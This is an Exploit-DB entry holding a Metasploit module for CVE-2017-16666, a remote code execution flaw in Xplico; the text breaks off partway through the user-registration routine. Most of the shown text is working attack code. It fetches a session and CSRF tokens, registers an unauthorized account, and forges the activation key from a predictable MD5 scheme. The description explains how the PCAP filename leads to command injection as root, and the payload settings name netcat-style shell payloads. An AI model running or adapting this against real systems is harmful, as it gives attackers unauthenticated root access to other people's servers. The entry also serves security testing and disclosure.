Exploit-DB #43430
Description: Xplico - Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2018-01-04
Author: Mehmet Ince

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Xplico Remote Code Execution',
      'Description'    => %q{
        This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
        command under the context of the root user.

        The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
        traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
        a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
        to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
        But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.

        One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
        of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>'  # author & msf module
        ],
      'References'      =>
        [
          ['CVE', '2017-16666'],
          ['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
          ['URL', 'https://www.xplico.org/archives/1538']
        ],
      'Privileged'      => true,
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'DefaultOptions'  =>
        {
          'RPORT' => 9876
        },
      'Payload' =>
        {
          'Space'       => 252,
          'DisableNops' => true,
          'BadChars' => "\x2f\x22",
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
            },
        },
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Oct 29 2017',
      'DefaultTarget'   => 0
    ))

  end

  def check
    # There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
    # which is not something we want to do for only check..!
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
    )
    if res && res.code == 302
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Unknown
    end
  end

  def initiate_session
    print_status('Initiating new session on server side')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
    )
    if res && res.code == 200
      res.get_cookies
    else
      nil
    end

  end

  def register_user(username, password)
    # First thing first, we need to get csrf token from registration form.
    print_status('Registering a new user')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
      'cookie' => @cookie
    )

    if res && res.code == 200
      csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
      fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
    end

    if csrf_token.nil? || fields.nil?
      fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
    end

    # rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
    email = ''
    email << rand_text_alpha_lower(rand(10)+4)
    email << '@'
    email << rand_text_alpha_lower(rand(10)+4)
    email << '.'
    email << rand_text_alpha_lower(rand(1)+2)

    # Create user
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'register'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[_Token][key]' => csrf_token,
        'data[User][email]' => email,
        'data[User][username]' => username,
        'data[User][password]' => password,
        'data[_Token][fields]' => fields,
        'data[_Token][unlocked]' => '',
      }
    )

    if res && res.code == 302
      print_good('New user successfully registered')
      print_status("Username: #{username}")
      print_status("Password: #{password}")
    else
      fail_with(Failure::Unknown, 'Could not register new user')
    end

    # Awesome. We have user. We need to activate it manually..!
    print_status('Calculating em_key code of the user')

    unixtime = Time.parse(res.headers['Date']).to_i
    password_md5 = Rex::Text.md5(password)
    em_key = Rex::Text.md5(
      "#{email}#{password_md5}#{unixtime}"
    )
    print_status("Activating user with em_key = #{em_key}")

    # We need to follow redirections. Even if we managed to find em_key.
    # It will redirect us to the login form. We need to see registration completed on final page.
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),